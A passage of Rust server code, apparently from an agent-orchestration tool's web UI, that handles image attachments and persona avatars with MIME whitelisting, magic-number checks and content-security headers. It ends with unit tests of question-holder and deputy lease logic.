10013        Ok((StatusCode::CREATED, Json(att)))
10014    })
10015    .await
10016}
10017
10018/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10019/// `<img>` tag in the transcript.
10020async fn talk_attachment_get(
10021    State(ui): State<Arc<Ui>>,
10022    Path((id, att)): Path<(String, String)>,
10023) -> ApiResult<Response> {
10024    blocking(move || {
10025        let id = resolve_talk(&ui.talks, &id)?;
10026        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10027            return Err(ApiError::not_found(format!(
10028                "talk {id} has no attachment `{att}`"
10029            )));
10030        };
10031        Ok(attachment_response(&meta.mime, data))
10032    })
10033    .await
10034}
10035
10036/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10037/// the icon setting, so changing it changes the URL.
10038fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10039    let id = avatar_encode(&p.id);
10040    format!(
10041        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10042        persona_icon::fingerprint(
10043            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10044        )
10045    )
10046}
10047
10048#[derive(Debug, Default, Deserialize)]
10049struct AvatarQuery {
10050    persona: Option<String>,
10051    /// Set by the page after the first load failed: skip the `icon`.
10052    builtin: Option<String>,
10053}
10054
10055/// Served with every built-in avatar: it is an image, so nothing else may run.
10056const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10057
10058fn builtin_avatar(id: &str) -> Response {
10059    svg_avatar(persona_icon::builtin_svg(id))
10060}
10061
10062async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10063    raster_or_builtin(
10064        read_icon_file(&avatar_setting_path(&ui.home, None))
10065            .filter(|_| q.builtin.is_none())
10066            .as_deref(),
10067        persona_icon::operator_svg(),
10068    )
10069}
10070
10071fn svg_avatar(svg: &'static str) -> Response {
10072    (
10073        [
10074            (header::CONTENT_TYPE, "image/svg+xml"),
10075            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10076            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10077            (header::CACHE_CONTROL, "no-cache"),
10078        ],
10079        svg,
10080    )
10081        .into_response()
10082}
10083
10084fn avatar_encode(value: &str) -> String {
10085    value
10086        .bytes()
10087        .map(|b| {
10088            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10089                char::from(b).to_string()
10090            } else {
10091                format!("%{b:02X}")
10092            }
10093        })
10094        .collect()
10095}
10096
10097// Display-only overrides live outside configuration and conversation records.
10098fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10099    let Some(id) = persona else {
10100        return home.join("avatars/operator.data");
10101    };
10102    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10103    let mut path = home.join("avatars/personas");
10104    for chunk in encoded.as_bytes().chunks(100) {
10105        path.push(std::str::from_utf8(chunk).expect("hex"));
10106    }
10107    path.join("icon.data")
10108}
10109
10110fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10111    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10112        Some(value) if value == "builtin" => Some(String::new()),
10113        Some(value) => Some(value),
10114        None => configured.map(str::to_owned),
10115    }
10116}
10117
10118fn operator_icon_url(home: &FsPath) -> String {
10119    format!(
10120        "/avatars/operator.svg?v={}",
10121        persona_icon::fingerprint(
10122            read_icon_file(&avatar_setting_path(home, None))
10123                .as_deref()
10124                .or(Some(persona_icon::operator_svg()))
10125        )
10126    )
10127}
10128
10129fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10130    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10131        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10132            attachment_response(mime, bytes)
10133        }
10134        _ => svg_avatar(builtin),
10135    };
10136    response
10137        .headers_mut()
10138        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10139    response
10140}
10141
10142#[derive(Default, Deserialize)]
10143struct AvatarSettingsQuery {
10144    repo: Option<PathBuf>,
10145    persona: Option<String>,
10146    builtin: Option<String>,
10147    inherit: Option<String>,
10148}
10149
10150fn avatar_settings_specs(
10151    ui: &Ui,
10152    repo: Option<PathBuf>,
10153) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10154    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10155    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10156        .map(|cfg| cfg.talk.personas)
10157        .unwrap_or_default();
10158    Ok((repo, specs))
10159}
10160
10161fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10162    let Ok(entries) = std::fs::read_dir(path) else {
10163        return;
10164    };
10165    for entry in entries.flatten() {
10166        let name = entry.file_name().to_string_lossy().into_owned();
10167        if name == "icon.data" {
10168            let bytes: Option<Vec<u8>> = prefix
10169                .as_bytes()
10170                .chunks(2)
10171                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10172                .collect();
10173            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10174                out.push(id);
10175            }
10176        } else if name.len() <= 100
10177            && !name.is_empty()
10178            && name.bytes().all(|b| b.is_ascii_hexdigit())
10179            && entry.file_type().is_ok_and(|t| t.is_dir())
10180        {
10181            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10182        }
10183    }
10184}
10185
10186async fn avatar_settings_get(
10187    State(ui): State<Arc<Ui>>,
10188    Query(q): Query<AvatarSettingsQuery>,
10189) -> ApiResult<Json<serde_json::Value>> {
10190    blocking(move || {
10191        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10192        let mut catalog = persona::catalog(&specs);
10193        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10194        let mut saved = Vec::new();
10195        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10196        for id in saved {
10197            if !catalog.iter().any(|p| p.id == id) {
10198                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10199            }
10200        }
10201        let personas: Vec<_> = catalog.iter().map(|p| {
10202            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10203            let override_state = match saved.as_deref() {
10204                Some("builtin") => "builtin",
10205                Some(_) => "custom",
10206                None => "inherit",
10207            };
10208            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10209            serde_json::json!({"id":p.id,"name":p.name,
10210                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10211                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10212                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10213        }).collect();
10214        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10215    }).await
10216}
10217
10218async fn settings_persona_avatar(
10219    State(ui): State<Arc<Ui>>,
10220    Query(q): Query<AvatarSettingsQuery>,
10221) -> ApiResult<Response> {
10222    blocking(move || {
10223        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10224        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10225        let found = persona::find(&specs, id);
10226        let icon =
10227            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10228        Ok(raster_or_builtin(
10229            icon.as_deref().filter(|_| q.builtin.is_none()),
10230            persona_icon::builtin_svg(id),
10231        ))
10232    })
10233    .await
10234}
10235
10236fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10237    if q.persona
10238        .as_ref()
10239        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10240    {
10241        return Err(ApiError::bad_request("invalid persona id"));
10242    }
10243    Ok(())
10244}
10245
10246async fn avatar_settings_put(
10247    State(ui): State<Arc<Ui>>,
10248    Query(q): Query<AvatarSettingsQuery>,
10249    Json(upload): Json<MagiIconUpload>,
10250) -> ApiResult<Json<serde_json::Value>> {
10251    blocking(move || {
10252        validate_avatar_target(&q)?;
10253        save_icon_file(
10254            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10255            &upload.icon,
10256        )
10257        .map_err(ApiError::bad_request_from)?;
10258        Ok(Json(serde_json::json!({"saved":true})))
10259    })
10260    .await
10261}
10262
10263async fn avatar_settings_delete(
10264    State(ui): State<Arc<Ui>>,
10265    Query(q): Query<AvatarSettingsQuery>,
10266) -> ApiResult<Json<serde_json::Value>> {
10267    blocking(move || {
10268        validate_avatar_target(&q)?;
10269        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10270        if q.persona.is_some() && q.inherit.is_none() {
10271            atomic_icon_write(&path, "builtin")?;
10272        } else {
10273            match std::fs::remove_file(path) {
10274                Ok(()) => (),
10275                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10276                Err(e) => return Err(anyhow::Error::from(e).into()),
10277            }
10278        }
10279        Ok(Json(serde_json::json!({"saved":true})))
10280    })
10281    .await
10282}
10283
10284// The global MAGI icon is deliberately independent of repository configuration.
10285fn magi_icon_path(home: &FsPath) -> PathBuf {
10286    home.join("magi-icon.data")
10287}
10288
10289fn read_magi_icon(home: &FsPath) -> Option<String> {
10290    read_icon_file(&magi_icon_path(home))
10291}
10292
10293fn read_icon_file(path: &FsPath) -> Option<String> {
10294    let metadata = std::fs::metadata(path).ok()?;
10295    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10296        return None;
10297    }
10298    let file = std::fs::File::open(path).ok()?;
10299    use std::io::Read;
10300    let mut text = String::new();
10301    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10302        .read_to_string(&mut text)
10303        .ok()?;
10304    if text.len() > persona_icon::ICON_MAX_BYTES {
10305        return None;
10306    }
10307    if text == "builtin" {
10308        return Some(text);
10309    }
10310    validate_uploaded_icon(&text).ok()?;
10311    Some(text)
10312}
10313
10314fn magi_icon_url(home: &FsPath) -> String {
10315    format!(
10316        "/avatars/magi?v={}",
10317        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10318    )
10319}
10320
10321async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10322    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10323}
10324
10325#[derive(Deserialize)]
10326struct MagiIconUpload {
10327    icon: String,
10328}
10329
10330fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10331    save_icon_file(&magi_icon_path(home), icon)
10332}
10333
10334fn validate_uploaded_icon(icon: &str) -> Result<()> {
10335    if !icon.starts_with("data:") {
10336        anyhow::bail!("upload a raster image");
10337    }
10338    let (mime, bytes) = persona_icon::load(icon)?;
10339    if sniffed_mime(&bytes) != Some(mime) {
10340        anyhow::bail!("image content does not match its type");
10341    }
10342    Ok(())
10343}
10344
10345fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10346    validate_uploaded_icon(icon)?;
10347    atomic_icon_write(path, icon)
10348}
10349
10350fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10351    let home = path.parent().expect("icon parent");
10352    std::fs::create_dir_all(home)?;
10353    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10354    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10355    let result = (|| -> Result<()> {
10356        use std::io::Write;
10357        let mut file = std::fs::OpenOptions::new()
10358            .write(true)
10359            .create_new(true)
10360            .open(&temp)?;
10361        file.write_all(icon.as_bytes())?;
10362        file.sync_all()?;
10363        std::fs::rename(&temp, path)?;
10364        Ok(())
10365    })();
10366    let _ = std::fs::remove_file(temp);
10367    result?;
10368    Ok(())
10369}
10370
10371async fn magi_icon_put(
10372    State(ui): State<Arc<Ui>>,
10373    Json(upload): Json<MagiIconUpload>,
10374) -> ApiResult<Json<serde_json::Value>> {
10375    blocking(move || {
10376        if !upload.icon.starts_with("data:") {
10377            return Err(ApiError::bad_request("upload a raster image"));
10378        }
10379        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10380        if sniffed_mime(&bytes) != Some(mime) {
10381            return Err(ApiError::bad_request(
10382                "image content does not match its type",
10383            ));
10384        }
10385        save_magi_icon(&ui.home, &upload.icon)?;
10386        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10387    })
10388    .await
10389}
10390
10391async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10392    blocking(move || {
10393        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10394            Ok(()) => (),
10395            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10396            Err(e) => return Err(anyhow::Error::from(e).into()),
10397        }
10398        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10399    })
10400    .await
10401}
10402
10403async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10404    let icon = (q.builtin.is_none())
10405        .then(|| read_magi_icon(&ui.home))
10406        .flatten();
10407    let mut response = match icon
10408        .as_deref()
10409        .and_then(|icon| persona_icon::load(icon).ok())
10410    {
10411        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10412            attachment_response(mime, bytes)
10413        }
10414        _ => svg_avatar(persona_icon::magi_svg()),
10415    };
10416    response
10417        .headers_mut()
10418        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10419    response
10420}
10421
10422/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10423/// operator's raster `icon` when it resolves and its bytes agree with its
10424/// type, the built-in SVG otherwise. Display only; every failure is a warning
10425/// and the built-in avatar, never an error response.
10426async fn talk_avatar(
10427    State(ui): State<Arc<Ui>>,
10428    Path(id): Path<String>,
10429    Query(q): Query<AvatarQuery>,
10430) -> ApiResult<Response> {
10431    blocking(move || {
10432        let id = resolve_talk(&ui.talks, &id)?;
10433        let talk = ui.talks.get(&id)?;
10434        let wanted = q
10435            .persona
10436            .as_deref()
10437            .map(str::trim)
10438            .filter(|p| !p.is_empty())
10439            .unwrap_or(&talk.persona)
10440            .to_owned();
10441        let specs = match Config::discover(&talk.repo, None) {
10442            Ok((cfg, _)) => cfg.talk.personas,
10443            Err(e) => {
10444                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10445                Vec::new()
10446            }
10447        };
10448        let found = persona::find(&specs, &wanted);
10449        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10450        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10451        let icon = effective_persona_icon(
10452            &ui.home,
10453            &wanted,
10454            found.as_ref().and_then(|p| p.icon.as_deref()),
10455        );
10456        if found.is_none() && icon.is_none() {
10457            return Ok(builtin_avatar(persona::DEFAULT_ID));
10458        }
10459        let Some(icon) = icon
10460            .as_deref()
10461            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10462        else {
10463            return Ok(builtin_avatar(&wanted));
10464        };
10465        let Some(found) = found else {
10466            return Ok(raster_or_builtin(
10467                Some(icon),
10468                persona_icon::builtin_svg(&wanted),
10469            ));
10470        };
10471        match persona_icon::load(icon) {
10472            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10473                let mut res = attachment_response(mime, bytes);
10474                res.headers_mut().insert(
10475                    header::CACHE_CONTROL,
10476                    header::HeaderValue::from_static("no-cache"),
10477                );
10478                Ok(res)
10479            }
10480            Ok((mime, _)) => {
10481                tracing::warn!(
10482                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10483                    found.id
10484                );
10485                Ok(builtin_avatar(&found.id))
10486            }
10487            Err(e) => {
10488                tracing::warn!(
10489                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10490                    found.id
10491                );
10492                Ok(builtin_avatar(&found.id))
10493            }
10494        }
10495    })
10496    .await
10497}
10498
10499/// Validate an attachment upload's declared `Content-Type` and the bytes
10500/// themselves, returning the canonical mime on success.
10501///
10502/// Two checks, both required: the header has to name one of
10503/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10504/// simply never in the list, active content rather than a picture, the same
10505/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10506/// magic number has to agree. The second is what stops a mislabeled upload -
10507/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10508/// a declared type is a claim, not a fact, so it is never trusted alone.
10509fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10510    if data.len() > ATTACHMENT_MAX_BYTES {
10511        return Err(ApiError::bad_request(format!(
10512            "attachment is {} bytes, over the {} MiB limit",
10513            data.len(),
10514            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10515        ))
10516        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10517    }
10518    if data.is_empty() {
10519        return Err(ApiError::bad_request("attachment is empty"));
10520    }
10521    let declared = declared_mime(headers)?;
10522    match sniffed_mime(data) {
10523        Some(sniffed) if sniffed == declared => Ok(declared),
10524        Some(sniffed) => Err(ApiError::bad_request(format!(
10525            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10526        ))),
10527        None => Err(ApiError::bad_request(
10528            "the file's bytes do not match any accepted image format",
10529        )),
10530    }
10531}
10532
10533/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10534/// and nothing else - parameters like `; charset=` are stripped, but the
10535/// value itself is not otherwise interpreted.
10536fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10537    let raw = headers
10538        .get(header::CONTENT_TYPE)
10539        .and_then(|v| v.to_str().ok())
10540        .unwrap_or("")
10541        .split(';')
10542        .next()
10543        .unwrap_or("")
10544        .trim()
10545        .to_ascii_lowercase();
10546    ATTACHMENT_MIME_WHITELIST
10547        .iter()
10548        .find(|&&m| m == raw)
10549        .copied()
10550        .ok_or_else(|| {
10551            if raw == "image/svg+xml" {
10552                ApiError::bad_request(
10553                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10554                     not just a picture",
10555                )
10556            } else if raw.is_empty() {
10557                ApiError::bad_request("Content-Type is required for an attachment upload")
10558            } else {
10559                ApiError::bad_request(format!(
10560                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10561                     image/gif or image/webp"
10562                ))
10563            }
10564        })
10565}
10566
10567/// Identify an image by its magic number, independent of whatever
10568/// `Content-Type` claimed.
10569fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10570    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10571        Some("image/png")
10572    } else if data.starts_with(b"\xff\xd8\xff") {
10573        Some("image/jpeg")
10574    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10575        Some("image/gif")
10576    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10577        Some("image/webp")
10578    } else {
10579        None
10580    }
10581}
10582
10583/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10584/// display - see [`talk::Attachment::name`]'s doc on why it never
10585/// contributes to a path. A missing or blank header (curl without it, an
10586/// older front end) falls back to a generic name rather than refusing the
10587/// upload over a field that is cosmetic.
10588fn filename_header(headers: &HeaderMap) -> String {
10589    headers
10590        .get(FILENAME_HEADER)
10591        .and_then(|v| v.to_str().ok())
10592        .map(str::trim)
10593        .filter(|s| !s.is_empty())
10594        .unwrap_or("attachment")
10595        .to_owned()
10596}
10597
10598/// Every attachment `GET` response: the mime re-validated against the same
10599/// closed whitelist the upload route enforces - never the string trusted
10600/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10601/// cannot decide it knows better than the type we send. Unlike a panel asset
10602/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10603/// document renders inline, not agent-authored HTML in a sandboxed frame.
10604fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10605    let content_type = ATTACHMENT_MIME_WHITELIST
10606        .iter()
10607        .find(|&&m| m == mime)
10608        .copied()
10609        .unwrap_or("application/octet-stream");
10610    (
10611        [
10612            (header::CONTENT_TYPE, content_type),
10613            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10614        ],
10615        body,
10616    )
10617        .into_response()
10618}
10619
10620/// The configuration for a repository, read off the disk for this request.
10621///
10622/// Through [`blocking`] because discovery reads and merges several TOML files,
10623/// and because the alternative - caching it in [`Ui`] at startup - would mean
10624/// the operator's phone kept interviewing with a roster they had already
10625/// changed, with no way to reload it but restarting the server they are not
10626/// sitting in front of.
10627async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10628    let repo = repo.to_path_buf();
10629    blocking(move || {
10630        let (cfg, _) = Config::discover(&repo, None)?;
10631        Ok(cfg)
10632    })
10633    .await
10634}
10635
10636/// The one prefix rule, used for both runs and tasks: a leading match for a
10637/// full id, a trailing match for the short form an operator reads off a
10638/// report. Written here rather than borrowed from `queue::resolve_id` because
10639/// the UI needs the two failures as different status codes, and telling them
10640/// apart from an error message is not something to build a route on.
10641fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10642    let mut hits = ids
10643        .into_iter()
10644        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10645    match (hits.next(), hits.next()) {
10646        (Some(one), None) => Ok(one),
10647        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10648        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10649            "`{prefix}` matches more than one {what}, including {a} and {b}"
10650        ))),
10651    }
10652}
10653
10654#[cfg(test)]
10655mod tests {
10656
10657    #[test]
10658    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10659        let dir = tempfile::tempdir().unwrap();
10660        let store = ask::Questions::at(dir.path().join("questions"));
10661        let mut q = Question::new(
10662            "task".to_owned(),
10663            "conduct".to_owned(),
10664            "conduct".to_owned(),
10665            "choose".to_owned(),
10666            String::new(),
10667            vec!["keep".to_owned()],
10668        );
10669        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10670        q.say("why?").unwrap();
10671        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10672        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10673        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10674        store.put(&mut q).unwrap();
10675        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10676        assert_eq!(store.count_needs_owner(), 1);
10677        store.beat(&q.id, ask::WaiterKind::Deputy);
10678        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10679        assert_eq!(store.count_needs_owner(), 0);
10680        let mut stale = store.read_lease(&q.id).unwrap();
10681        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10682        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10683        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10684        assert!(view.deputy_exhausted);
10685        assert!(view.waiting_on_agent);
10686        assert_eq!(view.question.choices, ["keep"]);
10687        store.drop_lease(&q.id);
10688        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10689        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10690    }
10691
10692    #[test]
10693    fn holder_reads_the_lease_not_the_record() {
10694        let mut q = Question::new(
10695            "run".to_owned(),
10696            "implement".to_owned(),
10697            "impl-A".to_owned(),
10698            "which?".to_owned(),
10699            String::new(),
10700            Vec::new(),
10701        );
10702        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10703        q.cwd = Some("/tmp".to_owned());
10704        assert_eq!(holder_of(&q, None), Some("nobody"));
10705        let beat = |kind, ago: i64| ask::Lease {
10706            kind,
10707            pid: 1,
10708            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10709                .unwrap(),
10710        };
10711        let fresh = beat(ask::WaiterKind::Asker, 1);
10712        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10713        let daemon = beat(ask::WaiterKind::Daemon, 1);
10714        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10715        let stale = beat(ask::WaiterKind::Asker, 3600);
10716        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10717
10718        // A conductor question says "deputy" only while one is attached and
10719        // alive, and "nobody" - never silence - when nothing ever listened.
10720        let mut c = Question::new(
10721            "task".to_owned(),
10722            crate::conduct::NODE.to_owned(),
10723            "conduct".to_owned(),
10724            "which?".to_owned(),
10725            String::new(),
10726            Vec::new(),
10727        );
10728        assert_eq!(holder_of(&c, None), Some("nobody"));
10729        c.cwd = Some("/tmp".to_owned());
10730        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10731        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10732        let deputy = beat(ask::WaiterKind::Deputy, 1);
10733        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10734        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10735
10736        // A release-watch question: nobody until a deputy is attached.
10737        let mut r = Question::new(
10738            String::new(),
10739            crate::bump::NOTICE_NODE.to_owned(),
10740            "release-watch".to_owned(),
10741            "stuck?".to_owned(),
10742            String::new(),
10743            vec!["hold".to_owned()],
10744        );
10745        assert_eq!(holder_of(&r, None), Some("nobody"));
10746        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10747        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10748        // A choice-less bump notice is nobody's question at all.
10749        r.deputy = None;
10750        r.seat = "bump".to_owned();
10751        assert_eq!(holder_of(&r, None), None);
10752
10753        // A merge approval is the same: nobody until a deputy is attached
10754        // and alive, never a silent "no holder".
10755        let mut m = Question::new(
10756            "run".to_owned(),
10757            crate::land::APPROVAL_NODE.to_owned(),
10758            "land".to_owned(),
10759            "merge?".to_owned(),
10760            String::new(),
10761            Vec::new(),
10762        );
10763        assert_eq!(holder_of(&m, None), Some("nobody"));
10764        assert_eq!(
10765            holder_of(&m, Some(&fresh)),
10766            Some("asker"),
10767            "a live explicit wait is a listener even before a deputy is attached"
10768        );
10769        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10770        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10771        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10772        assert_eq!(holder_of(&m, None), Some("nobody"));
10773    }
10774
10775    fn stub_config() -> Config {
10776        // An explicit roster, so the result never depends on which agent CLIs
10777        // this machine has installed.
10778        Config {
10779            agents: vec![crate::config::AgentSpec {
10780                id: "stub".to_owned(),
10781                kind: AgentKind::Command,
10782                model: None,
10783                command: vec!["true".to_owned()],
10784                extra_args: Vec::new(),
10785                env: Default::default(),
10786                prompt_delivery: None,
10787                max_turn_secs: None,
10788            }],
10789            ..Config::default()
10790        }
10791    }
10792
10793    fn plain_question(seat: &str) -> Question {
10794        Question::new(
10795            String::new(),
10796            "n".to_owned(),
10797            seat.to_owned(),
10798            "s".to_owned(),
10799            String::new(),
10800            Vec::new(),
10801        )
10802    }
10803
10804    #[test]
10805    fn deputies_enabled_follows_the_config() {
10806        let on = stub_config();
10807        assert!(crate::deputy::can_start(Some(&on), ""));
10808        assert!(crate::deputy::can_start(Some(&on), "stub"));
10809        let mut off = on.clone();
10810        off.daemon.max_deputies = 0;
10811        assert!(!crate::deputy::can_start(Some(&off), ""));
10812        let mut empty = on;
10813        empty.agents.clear();
10814        assert!(!crate::deputy::can_start(Some(&empty), ""));
10815        assert!(!crate::deputy::can_start(None, ""));
10816    }
10817
10818    #[test]
10819    fn question_views_load_the_config_once() {
10820        let dir = TempDir::new().unwrap();
10821        let store = ask::Questions::at(dir.path().to_path_buf());
10822        let mut with_deputy = plain_question("b");
10823        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10824        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10825
10826        let calls = std::cell::Cell::new(0usize);
10827        let views = question_views(qs.clone(), &store, || {
10828            calls.set(calls.get() + 1);
10829            Some(stub_config())
10830        });
10831        assert_eq!(calls.get(), 1);
10832        assert_eq!(views.len(), 3);
10833        for (v, q) in views.iter().zip(&qs) {
10834            assert_eq!(
10835                v.deputies_enabled,
10836                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10837            );
10838        }
10839
10840        let views = question_views(qs, &store, || None);
10841        assert!(views.iter().all(|v| !v.deputies_enabled));
10842
10843        let calls = std::cell::Cell::new(0usize);
10844        let views = question_views(Vec::new(), &store, || {
10845            calls.set(calls.get() + 1);
10846            None
10847        });
10848        assert!(views.is_empty());
10849        assert_eq!(calls.get(), 0);
10850    }
10851
10852    use pretty_assertions::assert_eq;
10853    use serde_json::Value;
10854    use tempfile::TempDir;
10855    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10856
10857    use super::*;
10858    use crate::config::Config;
10859    use crate::queue::Source;
10860
10861    /// How many 10ms steps a settle loop takes before it calls a stall a
10862    /// stall - thirty seconds.
10863    ///
10864    /// These loops wait on real `sh` subprocesses, and the machine that runs
10865    /// the gate runs several suites at once, so a two-second budget was not
10866    /// waiting for the reply, it was racing the scheduler: two of these
10867    /// tests failed under that load with the turn simply not landed yet.
10868    /// This is a hang guard, not a latency assertion - every loop breaks the
10869    /// moment its condition holds, so a generous cap costs an idle machine
10870    /// nothing and still fails a genuine hang instead of hanging the suite.
10871    const SETTLE_STEPS: usize = 3_000;
10872
10873    /// A home with a queue and a runs directory, and a router serving it on
10874    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10875    /// dependency, not ours - so the tests drive a real socket, which has the
